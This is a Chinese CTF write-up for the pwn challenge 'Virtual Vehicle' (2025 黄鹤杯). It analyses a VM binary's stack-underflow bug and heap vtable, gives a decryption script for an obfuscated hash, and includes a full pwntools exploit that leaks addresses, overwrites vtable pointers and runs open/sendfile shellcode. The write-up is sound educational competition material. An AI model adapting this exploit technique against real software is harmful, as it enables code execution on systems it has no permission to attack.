2025黄鹤杯 Pwn | Virtual Vehicle
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WP
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285

1661 字
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1 小时

Overview

黄鹤杯又被pwn折磨了，总共就一道题，比赛的时候打了四个小时没打出来，只能赛后再来思考了，以下是我的思路和见解

常见检查

[*] '/home/gary/CTF/pwn/hhb2025/pwn'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    RUNPATH:    b'./'
    SHSTK:      Enabled
    IBT:        Enabled
Bash

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x02 0xc000003e  if (A != ARCH_X86_64) goto 0004
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
Bash

全开且有沙箱，禁止了execve函数

ida分析

开始有初始化，发现有一个很明显的结构体，上图是将其恢复之后的结果，这样看起来，这个题应该是个vm了，和车联网没什么关系了，同时要注意这里的vtable是malloc在堆里的，这个点以后要考

既然是vm的题，那么就要分析其中的功能了

发现在pop_to_reg()函数中没有检查栈指针的下界，有下溢出，可以获取栈前面的内容

唯一的一个打印函数，那肯定是要通过这个来泄漏地址数据了，发现这个函数会从分配的数据区域中依靠偏移打印内容，那么我们就要理解数据区域是怎么分配的

发现是通过store_to_data来分配数据区域的，但是要注意，这里有一个sub_1250()加密函数

__int64 __fastcall sub_1250(int a1)
{
  unsigned int v1; // ecx
  unsigned int v2; // esi
  unsigned int v3; // edi
  unsigned int v5; // [rsp+0h] [rbp-14h]
  int n16; // [rsp+10h] [rbp-4h]

  v5 = __ROL4__(a1, 11);
  for ( n16 = 0; n16 <= 16; ++n16 )
  {
    v1 = ((((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17)) << 29)
         & 0xB14CB12D
         ^ ((v5 ^ (v5 >> 17)) << 19)
         & 0xDEADBEEF
         ^ v5
         ^ (v5 >> 17)
         ^ ((((v5 ^ (v5 >> 17)) << 19)
           & 0xDEADBEEF
           ^ v5
           ^ (v5 >> 17)
           ^ ((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17)) << 29)
           & 0xB14CB12D) >> 25)) >> 13)
       ^ ((((v5 ^ (v5 >> 17)) << 19)
         & 0xDEADBEEF
         ^ v5
         ^ (v5 >> 17)
         ^ ((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17)) << 29)
         & 0xB14CB12D) >> 25)
       ^ ((((v5 ^ (v5 >> 17)) << 19) & 0xDEADBEEF ^ v5 ^ (v5 >> 17)) << 29)
       & 0xB14CB12D
       ^ ((v5 ^ (v5 >> 17)) << 19)
       & 0xDEADBEEF
       ^ v5
       ^ (v5 >> 17);
    v2 = v1;
    v3 = v1;
    v5 = ((v2 ^ (v2 >> 15)) << 17)
       & 0xDEADBEEF
       ^ (v1 >> 15)
       ^ v1
       ^ (((v1 >> 15) ^ v2 ^ ((v3 ^ (v3 >> 15)) << 17) & 0xDEADBEEF) << 20);
  }
  return (unsigned int)__ROR4__(v5, 15);
}
C

经过我和 powchan 师傅的分析，针对这个函数写出来解密脚本，脚本如下

MASK32 = 0xFFFFFFFF
M1 = 0xDEADBEEF
M2 = 0xB14CB12D

def u32(x): return x & MASK32

def rol32(x, r):
    x &= MASK32; r &= 31
    return u32((x << r) | (x >> (32 - r)))

def ror32(x, r):
    x &= MASK32; r &= 31
    return u32((x >> r) | (x << (32 - r)))

def encrypt_literal(a1):
    # 严格逐步按题目 C 实现
    v5 = rol32(u32(a1), 11)
    for _ in range(17):  # n16 = 0..16
        # 下面全部是无符号逻辑移位；每一步都截断到 32 位
        t0 = v5 ^ (v5 >> 17)
        t1 = u32((t0 << 19)) & M1
        t2 = u32(t1 ^ v5 ^ (v5 >> 17))
        t3 = (u32(t2 << 29)) & M2
        # 这块是 v1 的一整条“直译”表达式
        v1 = u32((
            (
                (
                    (
                        (u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)
                    ) << 29
                ) & M2
                ^ (u32((v5 ^ (v5 >> 17)) << 19) & M1)
                ^ v5
                ^ (v5 >> 17)
                ^ (
                    (
                        (u32((v5 ^ (v5 >> 17)) << 19) & M1)
                        ^ v5
                        ^ (v5 >> 17)
                        ^ (
                            ((u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)) << 29
                        ) & M2
                    ) >> 25
                )
            ) >> 13
        ) ^ (
            (
                (u32((v5 ^ (v5 >> 17)) << 19) & M1)
                ^ v5
                ^ (v5 >> 17)
                ^ (
                    ((u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)) << 29
                ) & M2
            ) >> 25
        ) ^ (
            ((u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)) << 29
        ) & M2
          ^ (u32((v5 ^ (v5 >> 17)) << 19) & M1)
          ^ v5
          ^ (v5 >> 17)
        )

        tA = u32(v1 ^ (v1 >> 15))
        T  = (u32(tA << 17)) & M1
        v5 = u32(T ^ (v1 >> 15) ^ v1 ^ (u32(((v1 >> 15) ^ v1 ^ T) << 20)))
    return ror32(v5, 15)

# ===== 线性代数：用整个 encrypt_literal 构造矩阵并求逆 =====

def mat_from_f(f):
    # 第 j 列 = f(1<<j)
    rows = [0]*32
    for j in range(32):
        y = f(1 << j) & MASK32
        for i in range(32):
            if (y >> i) & 1:
                rows[i] |= (1 << j)
    return rows  # 32 行，每行是 32 位掩码（列方向）

def parity32(x):
    # 位奇偶校验（GF(2)）
    x ^= x >> 16
    x ^= x >> 8
    x ^= x >> 4
    x &= 0xF
    return (0x6996 >> x) & 1  # 预置表

def mat_mul_vec(M, x):
    x &= MASK32
    y = 0
    for i in range(32):
        if parity32(M[i] & x):
            y |= (1 << i)
    return y & MASK32

def mat_inv(M):
    # 高斯消元（GF(2)），行存
    A = M[:]
    I = [(1 << i) for i in range(32)]
    for col in range(32):
        piv = -1
        for r in range(col, 32):
            if (A[r] >> col) & 1:
                piv = r; break
        if piv < 0:
            raise ValueError("Singular matrix")
        if piv != col:
            A[col], A[piv] = A[piv], A[col]
            I[col], I[piv] = I[piv], I[col]
        for r in range(32):
            if r != col and ((A[r] >> col) & 1):
                A[r] ^= A[col]
                I[r] ^= I[col]
    return I

# 整体加密变换 E 及其逆 E_inv
E = mat_from_f(encrypt_literal)
E_inv = mat_inv(E)

def encrypt(x):  # 方便对拍
    return encrypt_literal(x)

def decrypt(c):
    # 既然 E 是“整个 encrypt”，直接乘其逆即可
    return mat_mul_vec(E_inv, c)
Python

其中加密和解密函数都有，后续会有用到

在push_imm32()中可以向栈压数据，配合上负溢出，理论上我们可以控制栈前面的所有内存空间

思路

分析到这里，我们已经有了初步的思路，vm->stack可以负溢出获取前面的内容，这样我们就可以获取vtable中的地址，解密出pie基地址，这样整个程序的代码段我们就都可以获取地址了，再配合上push_imm32()函数我们就可以覆写vtable为我们想要执行的地址

其次程序使用mmap开辟了一个rwx的区域，很明显是想让我们写shellcode，然后用过call r8跳转执行

而想call r8到数据区域就需要我们知道mmap的地址。在比赛的时候我和powchan师傅就卡在这个地方，搏杀到最后也没成功

后来注意到vtable是malloc出来的，在heap上，而heap又是顺序分配的，那么我们是不是可以再次执行start函数重新分配一遍，这样我们就会有一个新的vtable在后面的堆块中，原先的vtable就在前面了，这样就可以负溢出了

但是还有一个关键问题，新分配的heap与原先的heap相距甚远，我们一次输入是无法完成的，那么就需要多次操作读，而题目中正好有一个读操作

要注意，正常来说这个操作只能执行一次，但是我们先前也说过可以覆写vtable，那么我们是不是可以在vtable中覆写一个无用的地址为下面的read，跳过前面的判断

最后我们需要执行shellcode，有两种做法，要么通过已有函数向数据段中push，要么先call一个read，然后再read我们的shellcode，我在这里是先read再read

题目有设置沙箱，所以我们要使用orw，在这里我们选择覆写add()函数的vtable

可以发现，在执行到call r8的时候，rax和rdi正好是0，我们只需要设置rsi和rdx就可以了

这样就能read我们的shellcode了

经过nop滑板之后就能执行我们的shellcode了

exp

#!/usr/bin/env python3

'''
    author: Gary
    time: 2025-09-27 09:24:57
'''
from pwn import *
context(os='linux', arch='amd64', log_level='debug', terminal=['tmux', 'splitw', '-h'])

filename = "pwn"
libcname = "/home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6_2.31-0ubuntu9.16_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
    libc = ELF(libcname)
gs = '''
b *$rebase(0x2430)
b *$rebase(0x213d)
b *$rebase(0x2841)
set debug-file-directory /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/libc6-dbg_2.31-0ubuntu9.16_amd64/usr/lib/debug
set directories /home/gary/.config/cpwn/pkgs/2.31-0ubuntu9.16/amd64/glibc-source_2.31-0ubuntu9.16_all/usr/src/glibc/glibc-2.31
'''

def start():
    if args.P:
        return process(elf.path)
    elif args.REMOTE:
        return remote(host, port)
    else:
        return gdb.debug(elf.path, gdbscript = gs)

def push_reg(index):
    payload = b"\x01" + p8(index) + b"\x00" * 3
    return payload

def push_imm32(imm32):
    payload = b"\x02" + p32(imm32)
    return payload

def pop_to_reg(index):
    payload = b'\x03' + p8(index) + b'\x00' * 3
    return payload

def add(des, src1, src2):        # des = src1 + src2
    payload = b"\x04" + p8(des) + p8(src1) + p8(src2) + b'\x00'
    return payload

def sub(des, src1, src2):        # des = src1 - src2
    payload = b"\x05" + p8(des) + p8(src1) + p8(src2) + b'\x00'
    return payload

def mul(des, src1, src2):        # des = src1 * src2
    payload = b"\x06" + p8(des) + p8(src1) + p8(src2) + b'\x00'
    return payload

def store_to_data(flag, idx, off):
    payload = b'\x07' + p8(flag) + p8(idx) + p8(off) + b'\x00'
    return payload

def show(idx):
    payload = b'\x08' + p16(idx) + b'\x00' * 2
    return payload 

def magic():
    payload = b'\x09' + b'\x00' * 4
    return payload

MASK32 = 0xFFFFFFFF
M1 = 0xDEADBEEF
M2 = 0xB14CB12D

def u32(x): return x & MASK32

def rol32(x, r):
    x &= MASK32; r &= 31
    return u32((x << r) | (x >> (32 - r)))

def ror32(x, r):
    x &= MASK32; r &= 31
    return u32((x >> r) | (x << (32 - r)))

def encrypt_literal(a1):
    # 严格逐步按题目 C 实现
    v5 = rol32(u32(a1), 11)
    for _ in range(17):  # n16 = 0..16
        # 下面全部是无符号逻辑移位；每一步都截断到 32 位
        t0 = v5 ^ (v5 >> 17)
        t1 = u32((t0 << 19)) & M1
        t2 = u32(t1 ^ v5 ^ (v5 >> 17))
        t3 = (u32(t2 << 29)) & M2
        # 这块是 v1 的一整条“直译”表达式
        v1 = u32((
            (
                (
                    (
                        (u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)
                    ) << 29
                ) & M2
                ^ (u32((v5 ^ (v5 >> 17)) << 19) & M1)
                ^ v5
                ^ (v5 >> 17)
                ^ (
                    (
                        (u32((v5 ^ (v5 >> 17)) << 19) & M1)
                        ^ v5
                        ^ (v5 >> 17)
                        ^ (
                            ((u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)) << 29
                        ) & M2
                    ) >> 25
                )
            ) >> 13
        ) ^ (
            (
                (u32((v5 ^ (v5 >> 17)) << 19) & M1)
                ^ v5
                ^ (v5 >> 17)
                ^ (
                    ((u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)) << 29
                ) & M2
            ) >> 25
        ) ^ (
            ((u32((v5 ^ (v5 >> 17)) << 19) & M1) ^ v5 ^ (v5 >> 17)) << 29
        ) & M2
          ^ (u32((v5 ^ (v5 >> 17)) << 19) & M1)
          ^ v5
          ^ (v5 >> 17)
        )

        tA = u32(v1 ^ (v1 >> 15))
        T  = (u32(tA << 17)) & M1
        v5 = u32(T ^ (v1 >> 15) ^ v1 ^ (u32(((v1 >> 15) ^ v1 ^ T) << 20)))
    return ror32(v5, 15)

# ===== 线性代数：用整个 encrypt_literal 构造矩阵并求逆 =====

def mat_from_f(f):
    # 第 j 列 = f(1<<j)
    rows = [0]*32
    for j in range(32):
        y = f(1 << j) & MASK32
        for i in range(32):
            if (y >> i) & 1:
                rows[i] |= (1 << j)
    return rows  # 32 行，每行是 32 位掩码（列方向）

def parity32(x):
    # 位奇偶校验（GF(2)）
    x ^= x >> 16
    x ^= x >> 8
    x ^= x >> 4
    x &= 0xF
    return (0x6996 >> x) & 1  # 预置表

def mat_mul_vec(M, x):
    x &= MASK32
    y = 0
    for i in range(32):
        if parity32(M[i] & x):
            y |= (1 << i)
    return y & MASK32

def mat_inv(M):
    # 高斯消元（GF(2)），行存
    A = M[:]
    I = [(1 << i) for i in range(32)]
    for col in range(32):
        piv = -1
        for r in range(col, 32):
            if (A[r] >> col) & 1:
                piv = r; break
        if piv < 0:
            raise ValueError("Singular matrix")
        if piv != col:
            A[col], A[piv] = A[piv], A[col]
            I[col], I[piv] = I[piv], I[col]
        for r in range(32):
            if r != col and ((A[r] >> col) & 1):
                A[r] ^= A[col]
                I[r] ^= I[col]
    return I

# 整体加密变换 E 及其逆 E_inv
E = mat_from_f(encrypt_literal)
E_inv = mat_inv(E)

def encrypt(x):  # 方便对拍
    return encrypt_literal(x)

def decrypt(c):
    # 既然 E 是“整个 encrypt”，直接乘其逆即可
    return mat_mul_vec(E_inv, c)

p = start()

menu = b"Please input your op:\n"

payload = b""
payload += pop_to_reg(0) * 5
payload += store_to_data(0, 0, 0)
payload += show(0)
payload += pop_to_reg(1)
payload += store_to_data(0, 1, 0)
payload += show(0)
# one more input
payload += magic()

p.sendafter(menu, payload)

p.recvuntil(b"data in offset 0 is ")
hash_value = int(p.recvuntil(b"\n")[:-1], 16)
pie_addr_h = decrypt(hash_value)
log.success(f"pie_addr_h: {hex(pie_addr_h)}")

p.recvuntil(b"data in offset 0 is ")
hash_value = int(p.recvuntil(b"\n")[:-1], 16)
pie_addr_l = decrypt(hash_value)
log.success(f"pie_addr_h: {hex(pie_addr_h)}")

pie_addr = pie_addr_h << 32 | pie_addr_l | 0xd0
log.success(f"pie_addr: {hex(pie_addr)}")
pie_base = pie_addr - 0x20d0
log.success(f"pie_base: {hex(pie_base)}")

start_addr = pie_base + 0x1160
read_addr = pie_base + 0x2841
log.success(f"start: {hex(start_addr)}")
log.success(f"read: {hex(read_addr)}")

# start, high addr is the same, so change the low addr
payload2 = b""
payload2 += push_imm32(start_addr & 0xffffffff)   # change print_data to libc_start_main 
payload2 += show(0)

p.send(payload2)     # one more read

payload = b""
for i in range(0xc):
    payload += pop_to_reg(1)

payload += push_imm32(read_addr & 0xffffffff)
payload += pop_to_reg(0)
payload += sub(0, 0, 0)    # read(0, 0, 0) to read_addr

p.sendafter(menu, payload)

p.recvuntil(b"op 0x2 executed\n")
p.recvuntil(b"op 0x3 executed\n")
pause()

for i in range(350):
    payload = b""
    payload += pop_to_reg(0) * 3
    payload += sub(0, 0, 0)
    p.send(payload)

    for j in range(3):
        p.recvuntil(b"op 0x3 executed\n")

payload = b""
payload += sub(0,0,0)  # stack alignment
p.send(payload)

payload = b""
payload += pop_to_reg(2)
payload += store_to_data(0, 2, 0)
payload += show(0)
payload += sub(0,0,0)   # next read
pause()
p.send(payload)

p.recvuntil(b"data in offset 0 is ")
hash_value = int(p.recvuntil(b"\n")[:-1], 16)
mmap_addr_h = decrypt(hash_value)
log.success(f"mmap_addr_h: {hex(mmap_addr_h)}")

payload = b""
payload += sub(0,0,0)  # stack alignment
pause()
p.send(payload)

payload = b""
payload += pop_to_reg(3)
payload += store_to_data(0, 3, 0)
payload += show(0)
payload += sub(0,0,0)
pause()
p.send(payload)

p.recvuntil(b"data in offset 0 is ")
hash_value = int(p.recvuntil(b"\n")[:-1], 16)
mmap_addr_l = decrypt(hash_value)
log.success(f"mmap_addr_l: {hex(mmap_addr_l)}")

mmap_addr = mmap_addr_h << 32 | mmap_addr_l
log.success(f"mmap_addr: {hex(mmap_addr)}")
new_mmap_addr = mmap_addr - 0x221000
log.success(f"new_mmap_addr: {hex(new_mmap_addr)}")

# overwrite vtable to mmap, so we can call mmap_addr for shellcode
for i in range(348):
    payload = b""
    payload += push_imm32(0x0) * 3
    payload += sub(0, 0, 0)
    p.send(payload)

    for j in range(3):
        p.recvuntil(b"op 0x2 executed\n")

push_reg_addr = pie_base + 0x1c10
push_imm32_addr = pie_base + 0x1cd0
pop_to_reg_addr = pie_base + 0x1d10
# now our sp is back to normal vtable, then overwrite add()
payload = b""
payload += push_imm32(push_reg_addr & 0xffffffff)  # push_reg
payload += push_imm32((push_reg_addr >> 32) & 0xffffffff)
payload += sub(0, 0, 0)
p.send(payload)
for i in range(2):
    p.recvuntil(b"op 0x2 executed\n")

payload = b""
payload += push_imm32(push_imm32_addr & 0xffffffff)  # push_imm32
payload += push_imm32((push_imm32_addr >> 32) & 0xffffffff)
payload += sub(0, 0, 0)
p.send(payload)
for i in range(2):
    p.recvuntil(b"op 0x2 executed\n")

payload = b""
payload += push_imm32(pop_to_reg_addr & 0xffffffff)  # pop_to
payload += push_imm32((pop_to_reg_addr >> 32) & 0xffffffff)
payload += sub(0, 0, 0)
p.send(payload)
for i in range(2):
    p.recvuntil(b"op 0x2 executed\n")

# overwrite
payload = b""
payload += push_imm32(new_mmap_addr & 0xffffffff)  # mmap_addr
payload += push_imm32((new_mmap_addr >> 32) & 0xffffffff)
payload += sub(0, 0, 0)
log.debug("debug now =====================")
pause()
p.send(payload)
for i in range(2):
    p.recvuntil(b"op 0x2 executed\n")

# read
payload = b""
payload += push_imm32(read_addr & 0xffffffff)  # read_addr
payload += push_imm32((read_addr >> 32) & 0xffffffff)
payload += sub(0, 0, 0)
p.send(payload)
for i in range(2):
    p.recvuntil(b"op 0x2 executed\n")

pause()
# write shellcode to mmap_addr
payload = b""
payload += push_imm32(0xf3f06700)
payload += pop_to_reg(0)  # pop to reg 0
payload += store_to_data(0, 0, 0)  # store to data
payload += sub(0,0,0)
p.send(payload)
p.recvuntil(b"op 0x2 executed\n")
p.recvuntil(b"op 0x3 executed\n")
p.recvuntil(b"op 0x7 executed\n")

payload = b""
payload += push_imm32(0xfff1e100)
payload += pop_to_reg(0)  # pop to reg 0
payload += store_to_data(0, 0, 1)  # store to data
payload += sub(0,0,0)
p.send(payload)
p.recvuntil(b"op 0x2 executed\n")
p.recvuntil(b"op 0x3 executed\n")
p.recvuntil(b"op 0x7 executed\n")

payload = b""
payload += push_imm32(0xe96cc900)
payload += pop_to_reg(0)  # pop to reg 0
payload += store_to_data(0, 0, 2)  # store to data
payload += sub(0,0,0)
p.send(payload)
p.recvuntil(b"op 0x2 executed\n")
p.recvuntil(b"op 0x3 executed\n")
p.recvuntil(b"op 0x7 executed\n")

pause()
payload = b""
payload += add(0,0,0)
p.send(payload)

pause()
shellcode = asm(shellcraft.open("flag", 0) + shellcraft.sendfile(1, 3, 0, 0x50)).rjust(0x50, asm("nop"))
p.send(shellcode)

p.interactive()
Python

头一次写到 400 行的 wp，:(

在编写exp的时候需要注意以下几点：

  • 因为题目涉及到printf函数，要注意栈对齐，我这里选择了覆写sub()函数，每次执行一次就会导致rsp - 0x8，因此需要注意不对齐的时候再调用一下就行了
  • case 0x9有一个struct->code[i + 25] = 0;这个代码会将你输入的code截断，需要注意每一次读入的长度
  • 交互需要注意，不然会一次读入多次数据，导致程序执行流崩溃

ctfpwnwp

评论

  1. Daik321
    Windows Edge
    2 月前
    2025-10-01 22:19:42

    再接再厉！

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